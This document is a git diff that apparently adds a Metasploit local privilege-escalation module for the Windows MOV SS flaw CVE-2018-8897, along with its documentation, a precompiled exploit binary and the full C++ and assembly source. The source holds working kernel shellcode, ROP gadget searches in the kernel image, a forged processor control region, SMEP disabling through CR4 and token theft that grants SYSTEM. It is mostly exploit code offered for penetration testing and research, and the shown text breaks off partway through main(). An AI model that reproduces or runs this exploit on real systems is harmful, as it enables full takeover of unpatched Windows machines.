diff --git a/data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe b/data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe new file mode 100755 index 0000000000..ee84f13825 Binary files /dev/null and b/data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe differ diff --git a/documentation/modules/exploit/windows/local/mov_ss.md b/documentation/modules/exploit/windows/local/mov_ss.md new file mode 100644 index 0000000000..de273af1c1 --- /dev/null +++ b/documentation/modules/exploit/windows/local/mov_ss.md @@ -0,0 +1,10 @@ +# Description + +This module exploits a MOV SS vulnerability that is specifically made against Microsoft Windows +(excpet for Windows XP). It will upload a pre-compiled exploit onto the target machine, followed +by the final payload (such as a Meterpreter) in order to gain remote code execution. + +# Vulnerable Target + +Please note that this module may not work with certain hypervisors (such as VMWare). You should +test it on a real machine if possible. \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897-exe/Error.h b/external/source/exploits/cve-2018-8897-exe/Error.h new file mode 100644 index 0000000000..29607d3ad5 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/Error.h @@ -0,0 +1,10 @@ +#pragma once + +#define ERROR( msg ) \ +{SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 12 ); \ +printf( "\n[[[[[[ " msg " ]]]]]]\n\n" ); \ +system( "pause" ); \ +exit( 0 );} + + +#define assert( cond ) if( !(cond) ) ERROR( "Assert Failed: " #cond ) \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897-exe/KernelRoutines.h b/external/source/exploits/cve-2018-8897-exe/KernelRoutines.h new file mode 100644 index 0000000000..704a9289c0 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/KernelRoutines.h @@ -0,0 +1,66 @@ +#pragma once +#include +#include +#include +#include +#include "NtDefines.h" + +struct KernelContext +{ + HMODULE NtLib; + uint64_t NtBase; + + template + T GetProcAddress( const char* Proc ) + { + FARPROC LocProc = ::GetProcAddress( this->NtLib, Proc ); + + if ( !LocProc ) + return ( T ) ( nullptr ); + + uint32_t Delta = ( uintptr_t ) ( LocProc ) -( uintptr_t ) ( this->NtLib ); + + return ( T ) ( this->NtBase + Delta ); + } +}; + +static KernelContext* Kr_InitContext() +{ + KernelContext* Kc = new KernelContext; + + std::vector Buffer( 1024 * 1024 ); + + ULONG ReqSize = 0; + + do + { + if ( !NtQuerySystemInformation( SystemModuleInformation, Buffer.data(), Buffer.size(), &ReqSize ) ) + break; + + Buffer.resize( ReqSize * 2 ); + } + while ( ReqSize > Buffer.size() ); + + SYSTEM_MODULE_INFORMATION* ModuleInfo = ( SYSTEM_MODULE_INFORMATION* ) Buffer.data(); + + char* KernelFileName = ( char* ) ModuleInfo->Module[ 0 ].FullPathName + ModuleInfo->Module[ 0 ].OffsetToFileName; + + Kc->NtBase = ( uint64_t ) ModuleInfo->Module[ 0 ].ImageBase; + Kc->NtLib = LoadLibraryA( KernelFileName ); + + if ( !Kc->NtBase || !Kc->NtLib ) + { + delete Kc; + printf( "[+] Failed to get kernel module information!\n" ); + return 0; + } + + printf( "[+] Kernel: %s @ %16llx\n", KernelFileName, Kc->NtBase ); + + return Kc; +} + +static void Kr_FreeContext( KernelContext* Ctx ) +{ + delete Ctx; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897-exe/LICENSE b/external/source/exploits/cve-2018-8897-exe/LICENSE new file mode 100644 index 0000000000..e550541540 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2018, Can Bölük +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/source/exploits/cve-2018-8897-exe/LockedMemory.h b/external/source/exploits/cve-2018-8897-exe/LockedMemory.h new file mode 100644 index 0000000000..d9b8c440a8 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/LockedMemory.h @@ -0,0 +1,88 @@ +#pragma once +#include +#include +#include "NtDefines.h" + +#pragma section(".LDATA", read, write) +#pragma section(".LTEXT", read, write, execute) + +#pragma data_seg(".LDATA$1") +#pragma data_seg(".LDATA$2") +#pragma data_seg(".LDATA$3") +#pragma data_seg() + +#pragma code_seg(".LTEXT$1") +#pragma code_seg(".LTEXT$2") +#pragma code_seg(".LTEXT$3") +#pragma code_seg() + +__declspec( allocate( ".LDATA$1" ) ) static char Np_DataStart = 0x0; +__declspec( allocate( ".LDATA$3" ) ) static char Np_DataEnd = 0x0; + +__declspec( allocate( ".LTEXT$1" ) ) static char Np_TextStart = 0x0; +__declspec( allocate( ".LTEXT$3" ) ) static char Np_TextEnd = 0x0; + + +#define NON_PAGED_DATA __declspec( allocate( ".LDATA$2" ) ) +#define NON_PAGED_CODE __declspec( code_seg( ".LTEXT$2" ) ) __declspec(noinline) +#define NON_PAGED_LAMBDA(...) []( __VA_ARGS__ ) NON_PAGED_CODE + +// Mini non-paged crt +#define Np_memcpy(dst, src, size) __movsb( ( BYTE* ) dst, ( const BYTE* ) src, size ) +#define Np_memset(dst, val, size) __stosb( ( BYTE* ) dst, val, size) +#define Np_ZeroMemory(dst, size) __stosb( ( BYTE* ) dst, 0, size) + +#pragma comment(linker,"/MERGE:.LDATA=.data") +#pragma comment(linker,"/MERGE:.LTEXT=.text") + +// Routines to lock the pages +static BOOL Np_TryIncreaseWorkingSetSize( SIZE_T Size ) +{ + SIZE_T Min, Max; + if ( !GetProcessWorkingSetSize( NtCurrentProcess(), &Min, &Max ) ) + return FALSE; + if ( !SetProcessWorkingSetSize( NtCurrentProcess(), Min + Size, Max + Size ) ) + return FALSE; + return TRUE; +} + +static BOOL Np_TryLockPage( PVOID Page ) +{ + if ( !Np_TryIncreaseWorkingSetSize( 0x1000 ) ) + return FALSE; + if ( VirtualLock( Page, 0x1000 ) ) + return TRUE; + if ( !Np_TryIncreaseWorkingSetSize( 0x2000 ) ) + return FALSE; + return VirtualLock( Page, 0x1000 ); +} + +static BOOL Np_LockRange( PVOID From, PVOID To ) +{ + PBYTE FromPageAligned = ( PBYTE ) ( ( uintptr_t ) ( From ) & ( ~0xFFF ) ); + PBYTE ToPageAligned = ( PBYTE ) ( ( uintptr_t ) ( To ) & ( ~0xFFF ) ); + + for ( PBYTE Current = FromPageAligned; Current <= ToPageAligned; Current += 0x1000 ) + { + if ( !Np_TryLockPage( Current ) ) + { + printf( "[+] Failed locking %16llx!\n", Current ); + return FALSE; + } + else + { + printf( "[+] Locked %16llx successfully!\n", From ); + } + } + return TRUE; +} + +static BOOL Np_LockSections() +{ + printf( "[+] .LDATA: %16llx -> %16llx!\n", &Np_DataStart, &Np_DataEnd ); + printf( "[+] .LTEXT: %16llx -> %16llx!\n", &Np_TextStart, &Np_TextEnd ); + + return + Np_LockRange( &Np_DataStart, &Np_DataEnd ) && + Np_LockRange( &Np_TextStart, &Np_TextEnd ); +} diff --git a/external/source/exploits/cve-2018-8897-exe/Native.asm b/external/source/exploits/cve-2018-8897-exe/Native.asm new file mode 100644 index 0000000000..5797fe7e01 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/Native.asm @@ -0,0 +1,146 @@ +.code + __swapgs PROC + swapgs + ret + __swapgs ENDP + + __rollback_isr PROC + mov rdx, [rsp] ; rdx = Return pointer + lea r8, [rsp+8h] ; r8 = Old stack + mov [rcx], rdx ; isr stack.rip = Return pointer + mov [rcx+18h], r8 ; isr stack.rsp = Old stack + mov rsp, rcx ; stack = isr stack + iretq ; return + __rollback_isr ENDP + + __set_gs_base PROC + wrgsbase rcx + ret + __set_gs_base ENDP + + __readss PROC + xor eax, eax + mov ax, ss + ret + __readss ENDP + + __read_gs_base PROC + rdgsbase rax + ret + __read_gs_base ENDP + + __triggervuln PROC + mov [rcx+8*0], r12 ; save registers + mov [rcx+8*1], r13 + mov [rcx+8*2], r14 + mov [rcx+8*3], r15 + mov [rcx+8*4], rdi + mov [rcx+8*5], rsi + mov [rcx+8*6], rbx + mov [rcx+8*7], rbp + mov [rcx+8*8], rsp + pushfq + pop [rcx+8*9] + + mov ss, word ptr [rdx] ; Defer debug exception + int 3 ; Execute with interrupts disabled + nop + nop + nop + nop + + mov r12, [rcx+8*0] ; load registers + mov r13, [rcx+8*1] + mov r14, [rcx+8*2] + mov r15, [rcx+8*3] + mov rdi, [rcx+8*4] + mov rsi, [rcx+8*5] + mov rbx, [rcx+8*6] + mov rbp, [rcx+8*7] + mov rsp, [rcx+8*8] + push [rcx+8*9] + popfq + ret + __triggervuln ENDP + + + __setxmm0 PROC + movups xmm0, [rcx] + ret + __setxmm0 ENDP + + __setxmm1 PROC + movups xmm1, [rcx] + ret + __setxmm1 ENDP + + __setxmm2 PROC + movups xmm2, [rcx] + ret + __setxmm2 ENDP + + __setxmm3 PROC + movups xmm3, [rcx] + ret + __setxmm3 ENDP + + __setxmm4 PROC + movups xmm4, [rcx] + ret + __setxmm4 ENDP + + __setxmm5 PROC + movups xmm5, [rcx] + ret + __setxmm5 ENDP + + __setxmm6 PROC + movups xmm6, [rcx] + ret + __setxmm6 ENDP + + __setxmm7 PROC + movups xmm7, [rcx] + ret + __setxmm7 ENDP + + __setxmm8 PROC + movups xmm8, [rcx] + ret + __setxmm8 ENDP + + __setxmm9 PROC + movups xmm9, [rcx] + ret + __setxmm9 ENDP + + __setxmm10 PROC + movups xmm10, [rcx] + ret + __setxmm10 ENDP + + __setxmm11 PROC + movups xmm11, [rcx] + ret + __setxmm11 ENDP + + __setxmm12 PROC + movups xmm12, [rcx] + ret + __setxmm12 ENDP + + __setxmm13 PROC + movups xmm13, [rcx] + ret + __setxmm13 ENDP + + __setxmm14 PROC + movups xmm14, [rcx] + ret + __setxmm14 ENDP + + __setxmm15 PROC + movups xmm15, [rcx] + ret + __setxmm15 ENDP +end diff --git a/external/source/exploits/cve-2018-8897-exe/Native.h b/external/source/exploits/cve-2018-8897-exe/Native.h new file mode 100644 index 0000000000..e3383a06d0 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/Native.h @@ -0,0 +1,30 @@ +#pragma once +#include +#include + +extern "C" +{ + void __setxmm0( BYTE* ); + void __setxmm1( BYTE* ); + void __setxmm2( BYTE* ); + void __setxmm3( BYTE* ); + void __setxmm4( BYTE* ); + void __setxmm5( BYTE* ); + void __setxmm6( BYTE* ); + void __setxmm7( BYTE* ); + void __setxmm8( BYTE* ); + void __setxmm9( BYTE* ); + void __setxmm10( BYTE* ); + void __setxmm11( BYTE* ); + void __setxmm12( BYTE* ); + void __setxmm13( BYTE* ); + void __setxmm14( BYTE* ); + void __setxmm15( BYTE* ); + + void __swapgs(); + uint16_t __readss(); + PVOID __read_gs_base(); + void __set_gs_base( PVOID GsBase ); + void __rollback_isr( uint64_t IsrStack ); + void __triggervuln( PVOID RegSave, PVOID Abc ); +}; diff --git a/external/source/exploits/cve-2018-8897-exe/NtDefines.h b/external/source/exploits/cve-2018-8897-exe/NtDefines.h new file mode 100644 index 0000000000..f2c981e591 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/NtDefines.h @@ -0,0 +1,72 @@ +#pragma once +#include + +#pragma pack(push, 8) +typedef struct _SYSTEM_MODULE_ENTRY +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[ 256 ]; +} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY; + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG Count; + SYSTEM_MODULE_ENTRY Module[ 0 ]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; + +typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION +{ + struct + { + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG KvaShadowInvpcid : 1; + ULONG Reserved : 28; + } KvaShadowFlags; +} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; + +typedef UNICODE_STRING *PUNICODE_STRING; +#pragma pack(pop) + +#define NtCurrentProcess() ( HANDLE(-1) ) +#define SeLoadDriverPrivilege 10ull +#define SystemModuleInformation 0xBull +#define SystemKernelVaShadowInformation 196ull +#define AdjustCurrentProcess 0ull +#define STATUS_SUCCESS 0 + +using fnFreeCall = uint64_t( __fastcall* )( ... ); + +template +static NTSTATUS __NtRoutine( const char* Name, Params &&... params ) +{ + auto fn = ( fnFreeCall ) GetProcAddress( GetModuleHandleA( "ntdll.dll" ), Name ); + return fn( std::forward( params ) ... ); +} + +#define NtQuerySystemInformation(...) __NtRoutine("NtQuerySystemInformation", __VA_ARGS__) +#define RtlAdjustPrivilege(...) __NtRoutine("RtlAdjustPrivilege", __VA_ARGS__) +#define NtUnloadDriver(...) __NtRoutine("NtUnloadDriver", __VA_ARGS__) +#define NtLoadDriver(...) __NtRoutine("NtLoadDriver", __VA_ARGS__) + +static BOOL AcquirePrivilege( DWORD Privilage, DWORD Proc ) +{ + BOOLEAN Enabled = 0; + return !RtlAdjustPrivilege( Privilage, 1ull, Proc, &Enabled ) || Enabled; +} diff --git a/external/source/exploits/cve-2018-8897-exe/README.md b/external/source/exploits/cve-2018-8897-exe/README.md new file mode 100644 index 0000000000..885a698532 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/README.md @@ -0,0 +1,12 @@ +# CVE-2018-8897 +Demo exploitation of the POP SS vulnerability (CVE-2018-8897), leading to unsigned code execution with kernel privilages. +- KVA Shadowing should be disabled and [the relevant security update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897) should be uninstalled. +- This may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3. + +## Detailed explanation: + +https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/ + +## Result: +![](https://blog.can.ac/wp-content/uploads/2018/05/K1DL2.png) +![](https://blog.can.ac/wp-content/uploads/2018/05/aF6dL.png) diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.cpp b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.cpp new file mode 100755 index 0000000000..4275bc74b4 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.cpp @@ -0,0 +1,387 @@ +#include +#include +#include +#include "KernelRoutines.h" +#include "LockedMemory.h" +#include "Native.h" +#include "Error.h" + +struct ISR_STACK +{ + uint64_t RIP; + uint64_t CS; + uint64_t EF; + uint64_t RSP; +}; + +// Doensn't really change +static const uint32_t Offset_Pcr__Self = 0x18; +static const uint32_t Offset_Pcr__CurrentPrcb = 0x20; +static const uint32_t Offset_Pcr__Prcb = 0x180; +static const uint32_t Offset_Prcb__CurrentThread = 0x8; +static const uint32_t Offset_Context__XMM13 = 0x270; +static const uint32_t MxCsr__DefVal = 0x1F80; +static const uint32_t Offset_Prcb__RspBase = 0x28; +static const uint32_t Offset_KThread__InitialStack = 0x28; +static const uint32_t Offset_Prcb__Cr8 = 0x100 + 0xA0; +static const uint32_t Offset_Prcb__Cr4 = 0x100 + 0x18; + +// Requires patterns +NON_PAGED_DATA static uint32_t Offset_Prcb__Context = 0x0; // @KeBugCheckEx +NON_PAGED_DATA static uint32_t Offset_KThread__ApcStateFill__Process = 0x0; // @PsGetCurrentProcess + +NON_PAGED_DATA uint64_t ContextBackup[ 10 ]; + +NON_PAGED_DATA fnFreeCall k_PsDereferencePrimaryToken = 0; +NON_PAGED_DATA fnFreeCall k_PsReferencePrimaryToken = 0; +NON_PAGED_DATA fnFreeCall k_PsGetCurrentProcess = 0; +NON_PAGED_DATA uint64_t* k_PsInitialSystemProcess = 0; + +NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0; + +using fnIRetToVulnStub = void( * )( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup ); +NON_PAGED_DATA BYTE IRetToVulnStub[] = +{ + 0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4 + 0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack + 0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup + 0xFB, // sti ; enable interrupts + 0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level + 0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax + 0x48, 0xCF // iretq ; interrupt return +}; + +NON_PAGED_DATA uint64_t PredictedNextRsp = 0; +NON_PAGED_DATA ptrdiff_t StackDelta = 0; + +NON_PAGED_CODE void KernelShellcode() +{ + __writedr( 7, 0 ); + + uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 ); + __writecr4( Cr4Old & ~( 1 << 20 ) ); + + __swapgs(); + + // Uncomment if it bugchecks to debug: + // __writedr( 2, StackDelta ); + // __writedr( 3, PredictedNextRsp ); + // __debugbreak(); + // ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad + + uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38; + + // Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault + while ( + ( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 && + ( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF ) + { + + __rollback_isr( IsrStackIterator ); + + // We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta + if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 ) + { + /* + fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap + fffff00e`d7a1bc40 0000000000000010 + fffff00e`d7a1bc48 0000000000000002 + fffff00e`d7a1bc50 fffff00ed7a1bc68 + fffff00e`d7a1bc58 0000000000000000 + fffff00e`d7a1bc60 0000000000000014 + fffff00e`d7a1bc68 00007ff7e2261e95 -- + fffff00e`d7a1bc70 0000000000000033 + fffff00e`d7a1bc78 0000000000000202 + fffff00e`d7a1bc80 000000ad39b6f938 + */ + IsrStackIterator = IsrStackIterator + 0x30; + break; + } + + IsrStackIterator -= StackDelta; + } + + + PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) ); + Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) ); + + // ------ KERNEL CODE ------ + + uint64_t SystemProcess = *k_PsInitialSystemProcess; + uint64_t CurrentProcess = k_PsGetCurrentProcess(); + + uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess ); + uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess ); + + for ( int i = 0; i < 0x500; i += 0x8 ) + { + uint64_t Member = *( uint64_t * ) ( CurrentProcess + i ); + + if ( ( Member & ~0xF ) == CurrentToken ) + { + *( uint64_t * ) ( CurrentProcess + i ) = SystemToken; + break; + } + } + + + k_PsDereferencePrimaryToken( CurrentToken ); + k_PsDereferencePrimaryToken( SystemToken ); + + // ------ KERNEL CODE ------ + + __swapgs(); + + ( ( ISR_STACK* ) IsrStackIterator )->RIP += 1; + ( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup ); +} + +PUCHAR AllocateLockedMemoryForKernel( SIZE_T Sz ) +{ + PUCHAR Va = ( PUCHAR ) VirtualAlloc( 0, Sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); + ZeroMemory( Va, Sz ); + for ( int i = 0; i < Sz; i += 0x1000 ) + Np_TryLockPage( Va + i ); + return Va; +} + +int main(int argc, char *argv[]) +{ + if (argc < 2){ + return 0; + } + // Pre-init checks: KVA Shadow + SYSTEM_KERNEL_VA_SHADOW_INFORMATION KvaInfo = { 0 }; + if ( !NtQuerySystemInformation( SystemKernelVaShadowInformation, &KvaInfo, ( uint64_t ) sizeof( KvaInfo ), 0ull ) ) + assert( !KvaInfo.KvaShadowFlags.KvaShadowEnabled ); + + // Initialization: Memory allocation, locking sections, loading nt + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA ); + + assert( Np_LockSections() ); + assert( Np_TryLockPage( &__rollback_isr ) ); + assert( Np_TryLockPage( &__swapgs ) ); + + KernelContext* KrCtx = Kr_InitContext(); + assert( KrCtx ); + + static PUCHAR Pcr = AllocateLockedMemoryForKernel( 0x10000 ); + static PUCHAR KThread = AllocateLockedMemoryForKernel( 0x10000 ); + static PUCHAR KProcess = AllocateLockedMemoryForKernel( 0x10000 ); + static PUCHAR Prcb = Pcr + Offset_Pcr__Prcb; + + + // Offsets: Finding offsets and ROP gadgets + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xB ); + + PIMAGE_DOS_HEADER DosHeader = ( PIMAGE_DOS_HEADER ) KrCtx->NtLib; + PIMAGE_NT_HEADERS FileHeader = ( PIMAGE_NT_HEADERS ) ( ( uint64_t ) DosHeader + DosHeader->e_lfanew ); + PIMAGE_SECTION_HEADER SectionHeader = ( PIMAGE_SECTION_HEADER ) ( ( ( uint64_t ) &FileHeader->OptionalHeader ) + FileHeader->FileHeader.SizeOfOptionalHeader ); + while ( _strcmpi( ( char* ) SectionHeader->Name, ".text" ) ) SectionHeader++; + + uint64_t AdrRetn = 0; + uint64_t AdrPopRcxRetn = 0; + uint64_t AdrSetCr4Retn = 0; + + PUCHAR NtBegin = ( PUCHAR ) KrCtx->NtLib + SectionHeader->VirtualAddress; + PUCHAR NtEnd = NtBegin + SectionHeader->Misc.VirtualSize; + + // Find [RETN] + for ( PUCHAR It = NtBegin; It < NtEnd; It++ ) + { + if ( It[ 0 ] == 0xC3 ) + { + AdrRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase; + break; + } + } + + // Find [POP RCX; RETN] + for ( PUCHAR It = NtBegin; It < NtEnd; It++ ) + { + if ( It[ 0 ] == 0x59 && It[ 1 ] == 0xC3 ) + { + AdrPopRcxRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase; + break; + } + } + + // Find [MOV CR4, RCX; RETN] + for ( PUCHAR It = NtBegin; It < NtEnd; It++ ) + { + if ( It[ 0 ] == 0x0F && It[ 1 ] == 0x22 && + It[ 2 ] == 0xE1 && It[ 3 ] == 0xC3 ) + { + AdrSetCr4Retn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase; + break; + } + } + + printf( "[+] [RETN] Gadget @ %16llx\n", AdrRetn ); + printf( "[+] [POP RCX; RETN] Gadget @ %16llx\n", AdrPopRcxRetn ); + printf( "[+] [MOV CR4, RCX; RETN] Gadget @ %16llx\n", AdrSetCr4Retn ); + + assert( AdrRetn ); + assert( AdrPopRcxRetn ); + assert( AdrSetCr4Retn ); + + PUCHAR UPsGetCurrentProcess = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "PsGetCurrentProcess" ); + PUCHAR UKeBugCheckEx = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "KeBugCheckEx" ); + + for ( int i = 0; i < 0x50; i++ ) + { + if ( UKeBugCheckEx[ i ] == 0x48 && UKeBugCheckEx[ i + 1 ] == 0x8B && // mov rax, + UKeBugCheckEx[ i + 7 ] == 0xE8 ) // call + { + Offset_Prcb__Context = *( int32_t * ) ( UKeBugCheckEx + i + 3 ); + break; + } + } + + for ( int i = 0; i < 0x50; i++ ) + { + if ( UPsGetCurrentProcess[ i ] == 0x48 && UPsGetCurrentProcess[ i + 1 ] == 0x8B && // mov rax, + UPsGetCurrentProcess[ i + 7 ] == 0xC3 ) // retn + { + Offset_KThread__ApcStateFill__Process = *( int32_t * ) ( UPsGetCurrentProcess + i + 3 ); + break; + } + } + + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD ); + printf( "[+] Prcb.Context @ %16llx\n", Offset_Prcb__Context ); + printf( "[+] KThread.ApcStateFill.Process @ %16llx\n", Offset_KThread__ApcStateFill__Process ); + + assert( Offset_Prcb__Context ); + assert( Offset_KThread__ApcStateFill__Process ); + + // Setting up GSBASE + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xC ); + + *( PVOID* ) ( Pcr + Offset_Pcr__Self ) = Pcr; // Pcr.Self + *( PVOID* ) ( Pcr + Offset_Pcr__CurrentPrcb ) = Pcr + Offset_Pcr__Prcb; // Pcr.CurrentPrcb + *( DWORD* ) ( Prcb ) = MxCsr__DefVal; // Prcb.MxCsr + *( PVOID* ) ( Prcb + Offset_Prcb__CurrentThread ) = KThread; // Prcb.CurrentThread + *( PVOID* ) ( Prcb + Offset_Prcb__Context ) = Prcb + 0x3000; // Prcb.Context, Placeholder + *( PVOID* ) ( KThread + Offset_KThread__ApcStateFill__Process ) = KProcess; // EThread.ApcStateFill.EProcess + *( PVOID* ) ( Prcb + Offset_Prcb__RspBase ) = (PVOID) 1; // Prcb.RspBase + *( PVOID* ) ( KThread + Offset_KThread__InitialStack ) = 0; // EThread.InitialStack + + printf( "[+] Finished setting up fake PCR!\n" ); + printf( "[+] Pcr @ %16llx\n", Pcr ); + printf( "[+] Prcb @ %16llx\n", Prcb ); + printf( "[+] EThread @ %16llx\n", KThread ); + printf( "[+] EProcess @ %16llx\n", KProcess ); + + NON_PAGED_DATA static DWORD SavedSS = __readss(); + + // Execute Exploit! + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF ); + + HANDLE ThreadHandle = CreateThread( 0, 0, [ ] ( LPVOID ) -> DWORD + { + volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context ); + + while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP + uint64_t StackInitial = Ctx->Rsp; + while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference + // between sequential KiDebugTrapOrFault's + StackDelta = Ctx->Rsp - StackInitial; + PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called + uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at + NextRetPtrStorage &= ~0xF; + *( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13; + // Make RtlCaptureContext write XMM13-XMM15 over it + return 0; + }, 0, 0, 0 ); + + assert( ThreadHandle ); + printf( "\n- Created context watchdog\n" ); + printf( "- Thread Id: %16llx\n", ( HANDLE ) GetThreadId( ThreadHandle ) ); + + assert( SetThreadPriority( ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL ) ); + printf( "- Elevated priority to: THREAD_PRIORITY_TIME_CRITICAL\n" ); + SetThreadAffinityMask( ThreadHandle, 0xFFFFFFFE ); + SetThreadAffinityMask( HANDLE( -2 ), 0x00000001 ); + printf( "- Seperated exploit and context watchdog processors\n" ); + + k_ExAllocatePool = KrCtx->GetProcAddress<>( "ExAllocatePool" ); + k_PsReferencePrimaryToken = KrCtx->GetProcAddress<>( "PsReferencePrimaryToken" ); + k_PsDereferencePrimaryToken = KrCtx->GetProcAddress<>( "PsDereferencePrimaryToken" ); + k_PsGetCurrentProcess = KrCtx->GetProcAddress<>( "PsGetCurrentProcess" ); + k_PsInitialSystemProcess = KrCtx->GetProcAddress( "PsInitialSystemProcess" ); + + printf( "\n" ); + printf( "- PsInitialSystemProcess: %16llx\n", k_PsInitialSystemProcess ); + printf( "- PsGetCurrentProcess: %16llx\n", k_PsGetCurrentProcess ); + printf( "- PsReferencePrimaryToken: %16llx\n", k_PsReferencePrimaryToken ); + printf( "- PsDereferencePrimaryToken: %16llx\n", k_PsDereferencePrimaryToken ); + printf( "- ExAllocatePool: %16llx\n", k_ExAllocatePool ); + printf( "\n" ); + + printf( "/--------------------------------------\\\n" ); + printf( "| Press any key to start exploit! |\n" ); + printf( "| Warning: This may bugcheck your PC. |\n" ); + printf( "\\--------------------------------------/\n" ); + //system( "pause>nul" ); + printf( "\n" ); + + CONTEXT Ctx = { 0 }; + Ctx.Dr0 = ( uint64_t ) &SavedSS; // Trap SS + Ctx.Dr1 = ( uint64_t ) Prcb + Offset_Prcb__Cr8; // Trap 